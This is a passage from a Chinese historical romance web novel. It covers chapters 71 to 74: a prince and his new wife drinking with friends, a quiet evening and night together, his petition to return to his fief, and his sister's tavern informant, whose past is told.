崔栋郁郁,掂起酒壶倒酒,“她们俩都用过午膳了,叫厨房给我们备了饭菜,让我们兄弟自己用膳就是。” 70-80 第71章 闲情 百里漾默了下, 现在的时辰确实早过了平日用午膳的时间。颜漪和卢氏用午膳的时候他与崔栋过招正过在兴头上,她们又不好打扰他们的兴致,更不知道何时能结束, 所以不等他们也是正常。 理智上是这么想的,心里却难免有点小失落。百里漾在崔栋对面的位子坐下,“既然她们不来,我们便自己吃喝。” 起头还是好好的,崔栋抿了一口小酒眯着眼睛看了一眼好似提不起劲的百里漾, “啧啧”上了, “果然成了亲的人就是不一样啊。一时半刻不见就茶饭不思, 想得慌。” 百里漾愣了一下,反应过来崔栋在揶揄他, 斥道:“胡说八道什么,吃你的菜去。” 崔栋看百里漾脸皮薄, 又不好再揶揄他,到这里就行了。吃了些酒菜, 崔栋说道:“昨日我阿爹同我说, 估计再过不久我们就得回江都了。” 崔大将军位高权重, 又是皇帝倚重亲近之人,他会知道消息并告知崔栋并不令人意外。 “昨日太子阿兄同我说过此事,差不多也是这几日内廷就会有诏令下来。你我做好准备就是。”百里漾说道。 外封的诸侯王本就不宜在湛京过久停留,于礼法上本就容易招致攻讦猜忌。更别说现在的情况是别的诸侯王都在封地上,就百里漾一个还待在京城里,扎眼无比不说,他的那些庶兄弟们也快要坐不住了。 与其等着定安王他们暗中指使臣子弹劾他,不若自己主动离开。如今离渊那边的情形并不明朗,江都那边亦不容有失, 还需得人去坐镇。 “早知道会有这一日,随时都准备好了。”崔栋摩拳擦掌,眼里有期待,“早盼着与离渊人干一场了,这次正是机会。” “这次你必能如愿。”百里漾预估着离渊那边的局势,举起一杯酒,说道,“届时我们并肩作战,定能无往不胜。” “好,定无往不胜。”崔栋举杯道。 他们在此处畅饮,另一边花园之中颜漪与卢氏也在小酌。 时下赏花品画再小酌几杯算得上是雅事,湛京豪门勋贵各家之中亦皆藏有好酒,以供聚会宴客之用或是平日起了兴致自斟自酌几杯。江都王宅中当然有好酒,便是颜漪的嫁妆之中亦有美酒,此时取出招待卢氏再好不过了。 “在闺中时我便觉得你我二人投契,不想如今做了妯娌,日后相处的机会更有的是,还请王妃多多关照了。”卢氏笑着举杯朝颜漪敬道。 “客气。我亦没有想到我们还有如此缘分。”颜漪亦举杯回敬道。 她们两人都出身武将之家,两家平素交情往来颇多,二人又年岁相当,自小见的机会便多,加上彼此又都比较处得来,都算得上时彼此的手帕交。两人之前只是闺中好友,不想各自嫁人之后还成了表妯娌,关系可不是又更亲近一层了。 “我定亲之后得知陛下为你与江都王赐婚时不知道有多高兴。”卢氏性情颇为直爽,直言道,“届时去江都我也不怕找不到人一道玩耍了。” 这天底下谁不知道大将军崔预是皇后的亲兄长,国舅之尊,大将军府天然就是站在东宫的阵营上的。虽说卢家女儿不少,可他家选择将嫡出受宠的女儿嫁给大将军独子崔栋,基本上等同于半只脚踏入了东宫的阵营之中。 而卢家养育卢氏并非只教她琴棋书画、刺绣女红、管家之类的本事,一些朝堂时局与利害关系她也是明了的。当初祖父与父亲为她定下与崔栋的婚事之前也询问过她的意见并为她说明了接受这桩婚事之后她今后的未来大致会是什么走向。若是她不愿意,那么卢家便不结这桩婚事。 卢氏在经过一夜的深思熟虑之后答应了这桩婚事。她很清楚自己成亲之后需要面对什么,其中之一便是要随同夫婿崔栋去往江都。远离自小生活的土地与亲人去往一个陌生的地方任是谁都会感到担忧与彷徨,若有一知交好友同往,便能消去五六分的忐忑不安。 此时提及“去往江都”这个话题大抵是会令人心情不怎么美妙的,但她们两人一个是江都王妃,一个是崔栋之妻,彼此之间说出来也是无妨。最重要的是她们内心都清楚,江都王返回江都是不可改变之事。江都王返回江都,作为江都王妃的颜漪自然要随行;崔栋作为江都国的都尉,亦要随行,卢氏作为其妻子必定也要同行。 “往日如何,待去了江都自然也如何。”颜漪自然是应下卢氏的话,思索一番后又道,“启程之日怕是不远,一些事情也该去安排妥当了。” 如今朝中局势并不难看分明。江都王成婚已近半月,已有朝臣按捺不住奏请皇帝令江都王归国。皇帝对此事没有答应亦没有驳斥回去,东宫也无动静。聪明之人皆能看得出来,江都王返回江都之日已是不远。在去往江都之前有许多事情要去妥当安排了,还要告别亲友,没有几日的功夫是完成不了的。 “已在做了。”卢氏说着语气不由低落下来,“虽说心中早有准备,可真要离开却有不舍。” “故土难离,人之常情。”颜漪想到那虽尚不明确却并不遥远的离去之期,心中自然也是有对湛京之中亲人的不舍。只是有些事既已决定了,便要有承受与接纳后续产生的种种可能的准备。 “早闻江都山灵水秀、风光绮丽,此前一直想去,这回有机会了。”卢氏很快散去了那点失落的情绪,显出些向往来,还带了点不易察觉的羞涩,“这几日空闲时崔栋与我说了一些江都的山川河流、风土人情,极是生动,引人神往,倒让人生出了几分迫切之心。” 卢氏与崔栋这桩婚事的缔结并不是因为双方互相爱慕或是有一方有意从而上门提亲促成的,而是双方父母经过各种考量之后为他们二人选定的彼此,他们是因为彼此合适才走到一起的,本质上也属于大将军府与卢家的一场联姻。 其实这时候大多权势富贵之家的子女婚事皆是由此而来,成婚的当事人彼此有意从而缔结婚事的反而是少数。也因此,这世上权贵之家的许多夫妻最多能够做到的也只是彼此相敬如宾、相互敬重罢了。 成亲之前李氏一直担心婚后崔栋与卢氏会感情不睦,后来发现她的担心是多余的。崔栋婚后与卢氏处得很是不错,浓情蜜意的,此刻也能窥见一二。 “五王可有同你说过?”卢氏反应过来自己在颜漪面前隐晦地秀了一回夫妻恩爱颇有些不好意思,找补了一句,“崔栋同我说,他在江都时时常随从五王外出巡游,江都的许多地方他们都去过。” “这些大王还没有与我说过。”颜漪摇头道。 “也是,你们成婚的时间尚短,日后总有机会的。”卢氏跳过了这个话题不谈,转到另一边的百里漾与崔栋身上,“也不知他们此刻如何了?” “想知道咱们去看看不就好了。”颜漪笑回道。 “好啊,我们就去看看。”卢氏也不扭捏,大大方方地应了。她与崔栋成亲已近两月,夫妻之间的热乎劲还还没有过去,正是如胶似漆的时候,分开的时间久了就有些想了。 颜漪想到昨夜与今晨时的百里漾,忽然也很想知道他此刻在做什么。 两人说去就去,不多时就在园中的轩榭找到了正对饮的百里漾与崔栋二人。 百里漾坐的位置正对她们来的方向,远远的便看见有丽装女子并肩走来,其中一人很是熟悉,今晨时才见过。他立即站起身,崔栋见状往后面看了一眼,也看见了自己的媳妇,与百里漾一般,眉眼间荡漾了七分笑意,起身去迎。 到了近前,双方各自重新组成了夫妻站位,互相问安见礼。他们都是新成婚的小夫妻,今日是因为百里漾与崔栋之间的亲厚关系聚到一起,相互之间要正式地介绍认识一下。 相互介绍认识之后,侍人重新添置了两个席位,四个人聚到了一起,说说笑笑,好不欢乐。至夜半,崔栋夫妻俩才离开。百里漾与颜漪在大门口送别他们。 “我没醉,回的去。”为了证明自己没有醉,还站得住,崔栋不让卢氏扶着手臂,坚持要凭自己站着,实则摇摇晃晃,随时要倒。他觉得不应该啊,问百里漾,“五郎,你这是什么酒,我咋觉得不太对劲呢。” 以上的话是百里漾努力辨析之后自动翻译出来的,实际上崔栋舌头都捋不直了。他也饮了些酒,但不多也就没有醉,没有理崔栋而是朝着卢氏说道:“夜深路黑,表嫂与栋表兄一路小心。” “一路好走。”颜漪亦道。 看着卢氏扶着崔栋登车离开之后,百里漾与颜漪才转身返回王宅之中。两人并肩走在回廊上。王宅之中灯火通明,前面又有侍女提灯着笼引路,也不用担心晚上看不见路摔着。但百里漾与颜漪皆喝了些酒,未免真的摔着便不约而同都走得慢些。3072 两人都不说话,都被一股静谧的氛围包裹着。百里漾不知道怎么的突然很喜欢这样的氛围。他知道颜漪就在他的身边,很近,与他并肩,他微微侧头就能看到她的精致漂亮的侧颜,她身上好闻的馨香也随着风飘散到他这边。 第72章 想法 颜漪并非没有注意到百里漾的目光, 以为他是有话说,结果等了一路,直到两人都进入寝房里, 百里漾还是不说话。她转过头去以目光询问,这人又将目光转到一边去,没过多久却又将目光转了回来。 如此数次之后,颜漪面上显出些无奈来,不得不先出声询问道:“大王可有事?” “唔, 无事。”这会儿百里漾知晓自己偷看被正主发现了, 脸上不禁一阵发红发热, 好在他此前陪着崔栋喝了一些酒,本来脸色就有些红, 倒叫人看不出来是让酒熏红的还是羞红的。此刻不太敢看颜漪,左顾右盼好一会儿, 说道:“浴房备了水,我去沐浴再过来。” “已让厨房煮了醒酒汤, 大王沐浴后记得喝。”颜漪嘱咐了一句。 “若是不记得不是还有王妃么?”百里漾临走前嘟囔的一句, 让颜漪微愣, 随即眸光柔和,显出几分不已觉察的喜色来。她吩咐初禾,“叫厨房一刻钟之后再将醒酒汤送来,再准备一杯蜜水,一并送过来。” 这些时日她逐渐摸清了百里漾的一些喜好习惯,其中有一条便是不太受得了苦味。醒酒汤的味道并不好,她注意过原先几次百里漾喝时的神情,两条眉毛都要皱到一起了。他虽然没说,但事后背着人偷偷灌了好几口茶水。 “是, 奴婢这就去厨下令他们准备。”初禾领命后即刻去办了。 等百里漾沐浴回来时,案几上便是厨房令人送来不久的醒酒汤与蜜水。见到醒酒汤时百里漾的神色如常,待看到旁边并列排着的蜜水时,眼睛不由绽出光亮来。这时候的蜜水其实就是蜂蜜水,甜度不高,味道也只有一点甜,但能有的喝就已经很不错了。 不用想百里漾都知道这蜜水是颜漪特意吩咐人为他准备的。此刻还没有喝到蜜水,他的心里已是甜滋滋的了。颜漪已不再寝房中,想是去另一边的浴房沐浴去了。 百里漾在案几旁边的矮榻坐下,端着醒酒汤闭眼一口气喝了,随即拿起蜜水也一气喝了。带着甜味的蜜水从口腔流入喉咙,很快就将醒酒汤酸苦的滋味压过去了。他缓了一下,又叫侍人拿清水过来给他漱口。 左右颜漪沐浴需要一段时间,百里漾等着也是等着,随手摸了一本一册书过来看。此书所载内容是前朝史事,百里漾已看过许多遍。他此刻将书掂在手中,感受它的重量。此书约莫两个巴掌大小,薄薄的不足一指厚,就这样的书籍在整个大衍已是难得之物。 百里漾以前想错了,他见记载之物多为简牍、绢帛便以为这时候纸张还没有发明出来,其实不然。这时候是有纸的,亦有纸张做成的书籍。但此时纸张的制造之法使得纸张的造价极为昂贵,不要说寻常人,即便是颇有家资的人家也根本用不起以纸张装订成的书籍。仅是他手上的这一本,造价就要百金,实在的奢侈之物。 习惯了前世的种种便利,对于此世种种不便利,百里漾也只能叹息。只不过他叹息之时正好颜漪回到寝房,恰好见他捏着一本书愁眉苦脸的,不由问道:“大王为何事发愁?” 百里漾方才思虑过于专注,竟没有注意到颜漪回来时的动静,此刻乍闻声音忙抬头去看,不由微微一愣,心跳加快,捏着书籍的手不由收紧,面上犹自镇定道:“王妃回来了。” 新沐浴后的颜漪卸去了平日里的钗环配饰,松开了挽起的发髻,墨色青丝披散垂下至腰肢的位置,两鬓边有两屡稍短些的发丝松散随意地搭在肩头上。她眼下只着了一件月白色的中衣,隐约勾勒出窈窕纤细的身姿。 百里漾素来就知自己的王妃姿容是极美的。从初初见面至今,他已见过她许多面了,无论是初见时的端庄素雅,还是再见时的明艳灼灼,亦或是鸾凤和鸣之时的清妩动人,都能令他眼前一亮,舍不得移开目光。此时也是如此。 看着痴痴看着她的百里漾,颜漪难免羞赧,两颊浮上两团晕红,不得不再次唤他回神,“大王,书要掉了。” “啊,哦。”百里漾回神之后忙去看地上,发现什么都没有,还往矮榻上去瞧,却怎么也没有看见。还是旁边的初禾看不下去,忍不住轻笑出声,提醒道:“大王,书还在您手上呢。” 百里漾这才反应过来去看自己手上,书好端端的在他的手上捏着呢。他着实是愣了一下,不免尴尬,看着颜漪的眼神就有些小幽怨了,他是真的没有想到方才是颜漪骗他的。 颜漪也没有想到百里漾还真的傻乎乎地信了她“书掉了”的话,眼下被他用眼神控诉,自己也有些不好意思起来。但想到方才百里漾团团转找书的样子,她的眼眸中忍不住泄露出了些许笑意。 王妃竟然还笑他。 百里漾愤愤,冷眉倒竖,看着颇为吓人。他到底位尊,皱眉冷脸时还是挺令人害怕的。初禾对百里漾了解不多,又是天然畏惧他的,见他冷脸不免为自己的主子担心,害怕江都王因此会对自家主子不喜。 颜漪却不担忧,她知道百里漾不是真的在生气。她先用眼神安抚了下初禾,对百里漾说道:“大王还没有告诉妾身是在为何事发愁?” 她的眼眸微微湿润,身上犹带着沐浴后的水汽。百里漾注意到她的头发还是湿的,发尾还在往下滴着水珠。如今湛京已经开始有些凉了,头发若是不赶紧擦干可能会着凉。他搁下手中的书籍,径直走到颜漪身边。 高大的身影一下子覆盖在头顶上,偏偏百里漾还板着一张脸。这谁看了不慌,反正初禾是挺慌的,试图出言说些什么让百里漾息怒,“大王,王妃她只是……” “把干布给我。”初禾一出声百里漾就注意到了她,并且瞧中了她手中的干布,伸出手道。 初禾愣了一下,意识到百里漾是要提她家主子擦拭头发,动作机械地将干布递到了他的手里。在接收到颜漪的目光示意后,安静地退出了寝房,将空间留给了两人。 百里漾绕到了颜漪身后,用干布一点一点地为她擦拭湿发,动作轻柔,注意不要拉扯到发根致使疼痛。他的王妃拥有一头很是乌黑柔顺的秀发,如绸缎一般,散发着亮丽的光泽。靠得近了还能够闻到一股草木清新的气味。 他手上的这捧墨发无论是发质发量都好到足以让人嫉妒的地步。百里漾自己看了都很羡慕,他这辈子是没有办法拥有这样的秀发了。男子的头发质地都偏硬,柔顺是不太可能了,他顶多就让它不要变得干枯潦草。 想着想着,百里漾不小心轻叹出声,引来了颜漪的询问,“大王今夜似乎一直在叹气,是有什么烦心事么,与那书籍有关?” “啊,是。”百里漾总不好说自己羡慕自己王妃的头发,说出来未免也太奇怪了,于是顺着她的话说下去,将自己对纸张的想法说了出来,“若是纸张的造价能够再低些就好了。” 纸张所做的书籍比起简牍好处太多了,仅是在便携性以及记载量上就胜过简牍很多了。可惜的是目前造纸术并不省钱,纸张根本推广不了。百里漾每次手里握着沉甸甸的竹简都很怀念纸张轻飘飘的感觉,后悔自己前世的时候没有去了解如何造纸。 “大王是想要改良造纸术么?”颜漪听后若有所思,目光飘向了百里漾搁在矮榻上的书籍,想到它的造价,点头赞同百里漾的想法,“纸张所制的书籍确实有诸多好处。” “可惜此事终究受技术所限。”百里漾叹道。他自身没有携带金手指,本身对于这方面也一点相关知识都没有。 “大王可私下寻找工匠研造。”颜漪略略思考之后给出了建议。 她说了“私下”二字,百里漾瞬间就能明白她的意思以及藏在其中的顾虑。如今的世家大族虽然因为经历了前朝末年十几年的战乱以及高皇帝在位时大力打击高门士族而势不如前,但瘦死的骆驼比马大,他们几乎连续了几百年的积累可不是说笑的。 这些世家大族能够延续至今除了累世出公卿之外,还有很重要的一点就是牢牢把持着知识,轻易不外传。外人想要获得读书习字的机会只能靠求,求他们接纳自己成为“自己人”才能逆天改命。 这是世家大族的优势所在。若是让那些人知道百里漾想要改良造纸术,都不知道那些人会做出什么样的事情进行反对。 “此事我在江都时已令有司私下研制,但尚未有成果。”百里漾说道。这事他并不担心颜漪会泄露出去,不管怎么样,他们都是站在同一立场上的。 “此事不能急于一时。”颜漪看着百里漾的目光柔和水润,先是谢他为自己擦拭头发,又说道,“大衍疆域辽阔,民间亦有不少能工巧匠,大王是否考虑过从民间召集?” “此前有过想法,但一直搁置着。”百里漾见颜漪与他的思路一致,心中涌现欢喜,眼睛亦跟着变得更亮了,“待此次回到江都之后便着人去做此事。” 说完眉头却又皱起,颜漪问何故,百里漾说道:“江都到底只是一封国而已,未必能够招揽来真正厉害的能工巧匠。” 第73章 自请离京 “不若请栎阳长公主相助?”颜漪见状说道, “长公主的为人与能力,大王当是信得过的。” “自是信得过。”百里漾回答得笃定且毫不迟疑,很快便欢喜道, “此事若能有长姐相助,三分地把握也能涨到八分去。这几日有机会我便寻长姐说道此事。” 他眼中的真诚不似作伪,颜漪眼眸中的笑意更深切了些,真心实意道:“大王有此心必能心想事成。” “我也觉得能成。一日不行还有十日,一年不行还有十年、二十年, 总会成功的。”有了自家王妃投以的信赖与鼓舞, 百里漾忽然就对改良造纸术充满了信心, 看着颜漪的目光都是亮晶晶的。 颜漪被他的目光晃了一下眼,唇角亦跟着上扬出弧度, “大王一定会成功的。” 说这些话的功夫,颜漪的头发经过擦拭后也被风晾干了。百里漾放下手中的墨发, 将干布搁到旁边的架子上,对颜漪说道:“擦拭好了。” “辛苦大王了。”颜漪摸了摸自己的头发, 稍稍回忆了下百里漾给自己擦拭的过程, 感觉并非很明显。她以为百里漾做这种事情会拿捏不了分寸力道, 自己要受一些罪,没想到倒是出人意料了。她抬眸看向百里漾,“大王可以帮我将初禾叫来么?” “好的。”百里漾看了一眼王妃的头发,猜想下面应该还要做些什么保养之类的他不知道的步骤,答应之后就转身往门口走去叫初禾进来了。走之前他还把矮榻上的那本价值百金的书籍带走了,想着看着这两日拿给长姐看看。又想着王妃保养头发可能需要一段时间,他出了房门脚步一拐就往书房去了,趁这短时间去写个章程出来也好。 等百里漾再回到寝房的时候,里面就只剩下了颜漪一人了, 再看床榻上的被褥等用品也已经铺好了。夜已深了,他们确实该就寝了。虽然他们已经同床共枕有一些时日了,但每次到了这个时刻,百里漾感觉自己胸腔里面的那颗心脏跳动的频率都比平常时候要更快些。 他此刻不大敢看却有忍不住想看王妃。要就寝了,他们身上的穿着自是简单舒适为主,且这时候还不算冷,门户隔绝了外面的凉风,寝房之中温度偏暖,两人着的都是一件偏单薄的中衣,具是月白色的,放在前世就是睡衣情侣装了。 旁边已点燃了鹅梨帐中香,香气清新沁人,颇有安神助眠的功效。颜漪先上榻,百里漾后才躺上去。他如今已经很能够习惯旁边睡了一人,她的呼吸与气息也已经很熟悉了。离得近了,王妃身上的馨香很快就将他包围住,闭目眼前反而出现了王妃窈窕的身姿,挥之不去。 两三次之后,百里漾不免有些烦躁。不过他很快就想到,自己的王妃,就躺在自己身侧,如何看不得。想通了之后,百里漾睁开眼睛,转身侧躺,面朝想了颜漪那一边。 他的动作再轻但离得这般近颜漪还是受到惊扰睁开了眼睛,对上了他的眼睛,轻声询问道:“大王睡不着么?” 百里漾微微摇头,眼睛却一动不动地盯着她的唇。那朱唇不点而红,随着主人说话而动,百里漾心里像是被一把痒痒挠给隔空挠痒痒似的。他知道那唇尝起来的滋味有多柔软美妙,如今近在咫尺,让人忍不住有想要采摘的迫切想法。 他们是夫妻,她是自己的王妃,想亲是可以亲的。 百里漾这样告诉自己。 心动就要行动。百里漾忽然支起手肘撑起身子靠近了颜漪。在两人之间只剩下一指宽的距离时,他却顿住了,看着面前眉眼低垂的人,语气尽量自然平稳却依旧泄露了几丝紧张,他问,“王妃,我想亲你,可否?” 眼前忽然出现了一大片阴影,很快面上便喷洒了另一人的气息,颜漪禁不住羽睫轻颤,眸光低垂,却没有等来意想之中的触感,反而听到了百里漾的询问。在这种时候百里漾还记得要询问她的意见,颜漪不知道是无奈还是想笑,刚要说话却被百里漾倾身而下结结实实完全封住了呼吸。 唇齿相依的一瞬间百里漾便感受到了那份让自己眷念不已的香甜柔软,他控制不住自己去掠夺颜漪口中的气息,不多时就将人亲吻得气喘吁吁。在颜漪感觉自己快要呼吸不过来的时候,百里漾终于“放过”了她。但这也只是暂时的,这副身体开过荤,年轻气盛又血气方刚的,这事一旦开头就停不下来了。 百里漾已经不像是之前时的莽撞无知了,好歹是有过几次经验的人了。他竭力照顾颜漪的感受,密密麻麻的亲吻落在如凝脂般的肌肤上,所到之处便如盛开了一朵朵绚烂娇艳的鲜花,很是能迷乱人眼。 而这幅美景只有百里漾一人能够看见。 很快帐中便是一片火热,里面的动静久久未歇。 云消雨散之后,汗淋淋的两人相拥着平复彼此急促不甚平稳的气息。待平复过来之后,又发觉浑身粘腻的感觉并不是很舒服,百里漾看向怀中的人,发现她此刻已经累到睡了过去。似乎、好像方才他是有些过分,王妃明明已经阻止了他几次,可他都是不管不顾的。 再看颜漪身上都是他做的好事后留下的印记,百里漾只觉得脸上的热气一股脑冲到了脑子里,整个脑袋都是热的,都能冒烟了。他不敢再打扰王妃休息,自己披了外衣叫人抬水进来,亲自为她清洗。 过程有些艰难,期间一直担心自己笨手笨脚将人弄醒,好在最后还是完成了。清洗完之后再将人小心放回床榻上,盖上被子,自己也去简单洗了洗。 重新爬回榻上,钻进被子里,百里漾轻轻地将人揽进怀里,心满意足闭上眼,不多时就坠入了甜美的梦乡之中。 八月十二,江都王上奏,言因岁贡入京朝拜天子,岁贡之事毕本当返回封国,但得蒙天恩赐婚又留京完婚,现诸事已毕,请允归返。皇帝收到上奏后并未即时答复,而是先将奏疏压下,转头去了椒房殿,也不知晓与皇后说了什么,次日便给了“允准”的批复。 满朝上下都在关注着这件事情,其中当属之前上奏皇帝请求遣归江都王的人。他们之前一直为自己背后的主子或者利益心焦江都王迟迟不离开湛京,害怕椒房、东宫真的靠着磨时间耍手段让江都王一直赖在湛京,最后靠着近水楼台先得月摘到那颗谁都觊觎的最大的果实,所以才会在江都王成婚陪着王妃三朝回门后按捺不住地疯狂上奏。但奏疏上呈给皇帝之后就完全没有了动静。 这无疑加剧了他们的担忧。正当他们疯狂挠头发想出其他对策之时,江都王突然自己上奏说要离开湛京返回江都了。一开始他们的反应都是狂喜,但欢喜过后却又忍不住惊疑这是不是椒房、东宫使出的“以退为进”之法,说不定皇帝看着儿子这么“懂事”、椒房殿再给添一把火,皇帝就又不想让江都王回封地了。 这个猜测让这些人又结结实实地提心吊胆了好一段时间,毕竟谁也不会知道帝后私底下会说什么话,他们谁也没有那个本事去偷听啊。好在只是过了一日,内廷便传出了皇帝允准的消息,才让这些人的心从嗓子眼落回了原处。 “你要回江都的消息传出去,那些人指不定如何在背地里偷着乐呢。”这日,栎阳长公主百里澄将百里漾约在了湛京一处繁华街市的酒肆相见。姐弟俩隔着一张小案几对坐,她淡薄的眉眼上出现了几分讥讽,说道。 “我待在湛京的这段时日,也不知道半夜有多少人睡不着觉。”百里漾亦跟着讥笑了一声,玩笑道,“这时日长了,若是有人因此猝死说不得半夜还得找到我的头上。” “他们敢来便请斩妖剑将之通通灭了。”百里澄此时笑着,眉眼间却含着凌厉至极的威冷,“五郎宅邸中的剑若是不够锋利,我宫中收藏都可借给你一用。” “阿姐,你忘了,你的宝剑利器有许多都是我搜罗来送给你的。”百里漾习惯了长姐如此霸气外露的模样,无奈提醒了一句。 “五郎有心,日后可再接再励。”百里澄说道。 言外之意就是日后若有好的还是要百里漾继续送来。百里漾岂会听不懂,爽快地应下了。 这时酒肆之人前来送酒菜。不多,三道荤菜,两道时令蔬菜,一道暖胃的汤品,一壶小酒罢了。与那些纨绔子弟出门饮宴动辄就大鱼大肉十几二十道菜相对,这实在是堪称简朴。无论是百里漾还是百里澄都没有对此提出什么异议。 “酒菜皆已上齐,贵客可还有其他吩咐?”上菜的是一名体态丰腴、绰约多情的美妇人,瞧着年纪不过三十,梳着妇人的发髻,发上只簪了一支艳红的白玉梅花簪,端是别有风韵。 她似乎与百里澄相识,语气之间颇有些熟稔,“奴家可是有好些日子不见您前来了。您要是再不来,我这小店怕是要一直冷清下去了。” 冷清?百里漾不由左右顾看了一遍。 这家酒肆既能够开在湛京的繁华地带,必然是不会缺客人的。百里漾曾经路过这家酒肆几回,每回俱是客人进出不绝。此次进来,入门便知热闹,虽然没有湛京几大酒楼那般人声鼎沸,可亦是人声不断,人来人往的,何谈冷清。 第74章 师娘子 妇人还在说话, “这次不仅把您盼来了,还让您给带来了一位新贵客。”她的目光转向了百里漾,只一眼便微微垂下了目光, 并没有直接直视百里漾。 百里漾朝妇人微微颔首示意,同时也明白这妇人大概率是知晓长姐百里澄的真实身份的。她看向他们时都不敢长久的直视,同百里澄说话时语气轻松自然却又显出必不可少的谦卑来。 百里澄为二人做介绍,先说百里漾,“这是我幼弟, 家中行五。”再说妇人, “这位是这家酒肆的主家娘子, 人称‘师娘子’。” 师娘子一听心中便了然眼前的这位年轻俊逸的郎君便是当今皇帝五子、椒房所出的江都王了。不过看破不说破,对方没有身份摆到明面上来, 故而她也只是施礼道:“奴家师四娘见过五郎君。” “师娘子不必多礼,我今日只是跟着阿姐来蹭一顿酒菜的。”百里漾猜测师娘子大概是长姐百里澄的友人或者下属一类的, 也不摆什么架子,态度和善, 姿态也颇随意。 师娘子这些年也算见过不少王公贵族、勋贵子弟, 其中地位比江都王高的几乎没有, 持平的见过一两个,可论平易近人、态度真诚却没有人能够比得上眼前这位的。她在心中赞叹,不愧是椒房所出、长公主的同胞兄弟,真正的天潢贵胄。 百里澄笑道:“我这弟弟可是头一回来,店家娘子不送些赠饮赠菜么?” “贵客盈门,怎能只送些小酒小菜?今日就是给二位免单又如何。”师娘子乐道。 她张口就是要给百里澄姐弟俩免单,百里漾没有接话,百里澄则道:“我这弟弟说的不错,我们今日就是蹭一顿酒菜来的。” 这时候外面有别的客人呼唤师娘子, 她盈盈笑着说了几句话便歉意告退了,将空间留给了百里澄两姐弟。 百里漾看着师娘子退走,眼里若有所思,但没有立即说话。百里澄见状,睨了他一眼,抬手去取酒壶要倒酒,边说道:“想问什么就问吧。” “我猜师娘子是阿姐安排在湛京里的一处眼线。”百里漾直接将自己的猜测说了出来。毕竟以他和百里澄的关系,并不需要兜那些弯弯绕绕的圈子。同时在百里澄动手倒酒之前取过了酒壶,给彼此都倒上了一杯酒。 好歹是重活一世的人,百里漾自然能够明白,任何时候信息情报都是很重要的东西。在一些关键时候,谁先获得有利情报就等同于取得先机,有时候课可是能够决定最终战局的。在如今这时代,纵然是手握天下权势的天子也要设立一些部门为他探听天下臣民的消息。自然情报这种东西,椒房与东宫也是需要的。 百里漾猜也猜得到长兄与长姐必然会在湛京之中设有专门探听消息的地方,毕竟他自己在江都的时候也安排有人私底下为他办这事。什么样的地方最容易探听到消息情报?自然是人\流量大,大家都爱去的地方,而其中湛京上层圈子的高门勋贵们最喜欢去的地方当是酒楼,以及勾栏瓦舍这种风月场所。 酒楼这种地方是最好探听消息的,名义上也正当,挂在自己名下做产业或是放在信得过之人名下都好。至于勾栏瓦舍这类的风月场所也确实是探听消息的一处上佳之地,但到底是藏污纳垢之地,暴露出去总是有碍名声的。 百里漾也不敢问长姐有没有在那种地方安插了人,可方才见师娘子与长姐说话之间那熟稔却又隐约透着下尊上位的谦慎语气,今日长姐又特地带他来这里,不由得便有此猜测了。 “猜的不错。”百里澄给了弟弟一个赞赏的眼神,取过他倒的酒饮了一口,“三年前我遇到了她,那时候她还不叫师娘子。后来我也算是救了她吧,见她在这一块颇有能力,暗中叫人盘下了这处酒肆,交给她经营,三年下来为我赚了不少银钱。” 钱财对于他们这些人还是其次的,真正重要的是消息情报。百里漾观百里澄的神色语气,猜测这三年师娘子怕是为长姐探听到了不少有用的情报。如此,师娘子还确实是一名能力出众的人才,经营有道,又能探听消息。 百里漾不由得羡慕,长姐是从哪里网罗到的人才?又想起方才百里澄所说的“救”,不由猜测这位师娘子此前怕是有过一段堪称“糟糕”的遭遇,甚至师娘子之前都不叫这个名字,中途应当是长姐动用了一些力量和手段为她改头换面了。 百里澄见他眉头微皱、似乎对师娘子之前的经历颇有些好奇的模样,也不介意同他说说。于是她就将自己三年前怎么遇到的师娘子、师娘子后来又是如何到她手底下为她做事大概说了一下,最后颇有些感叹说道:“她能走到今日也并不完全是因为我。” 师娘子的遭遇大概总结起来就是一个世上最恶俗却又经久不衰的负心薄情的故事,就像是百里漾前世看到过的一个故事“杜十娘怒沉百宝箱”那样。在师娘子自己的故事里,她自己就是那个“杜十娘”,也曾经遇到过一个叫做“李甲”的书生。 师娘子今年虚岁二十九,她出生时正好是大衍建立的前几年,天下未定,处处兵荒马乱。那时候的孩子是很难存活下来的,没有父母亲族的孤儿更难以在那个乱世找到一条活路。她是幸运的,因为她活下来了;可她同时也是不幸的,因为自她知事起,她就是一家勾栏之中培养的女伶人。她无力反抗,也不知道自己能去哪里,只能按着那家勾栏对她的安排一步步走了下去。她努力的学习鸨母教她的,怕的就是自己会像其他人一样因为学不好而被放弃。 到了十六岁,她开始作为一件商品被公开售卖出去,开始游走在那些各式各样的男人之间。这种生活当然不好,师娘子自然也知道她这样的身份是受人嘲笑鄙夷、为人所不耻的,但她没有得来选择。 不过师娘子并没有甘心一直在这种境地之中沉沦。她想为自己寻找一条出路,她也渴望能够像寻常人家的女子一般生活,找一个良人成亲,结婚生子。她知道这对于她来说很难,但没有关系,她会努力的。 对于那时的师娘子来说,摆在她面前最需要解决的一个问题是赎身。她并不像其他的姐妹一样幻想着遇上一个愿意为自己赎身的男人,她的赎身价很高,即便遇到了这样的人,也会让她在对面对方时再次落了下乘。 她要为自己赎身,尽管这很难很难,但她最后还是靠着自己的坚持与努力做到了。 百里漾听到这里有惋惜也有敬佩,惋惜师娘子出生后的不幸,敬佩她的坚韧与清醒。为自己赎身之后的师娘子无疑是脱离了苦海,但命运在此刻还没有真正眷顾她,她即将要进入下一个苦难之中,这个苦难是由“李甲”带给她的。 “李甲”是师娘子在赎身前一年遇到过的一个恩客,一个落魄的书生。这年头能够称得上是书生的来历一般都不简单,哪怕他现在落魄了,可并不久远的以前父辈祖辈一定是阔过的,也九成九与世家大族有直接或者间接的关系。“李甲”也是如此,甚至他的身份直接就是世家大族的弟子,只不过他所在的世家大族在前朝末年的战乱以及高皇帝的打压之下没落了,他也跟着落魄了。 师娘子再见“李甲”是赎身后的一年,那时候她已经换了一个地方重新开始,但她没有想到会重新见到曾经与自己有过一夜情缘的男人。本来一开始两人是没有什么交集的,师娘子也有意避开一个知道自己那些过去的人。 也许真的是命中注定有一劫,因为一次偶然的事故,“李甲”救了师娘子,从此两人的交集开始变多,发展到最后,两人成为了恋人,“李甲”主动提出要娶师娘子,师娘子却因为害怕耽误他了的前途,提出暂缓一阵时间。 说到这里的时候,百里澄眼眸中显出了轻蔑与嗤笑,又看百里漾似有不解,“师娘子是想花钱重新给自己买一个良籍,彻彻底底地改头换面。” 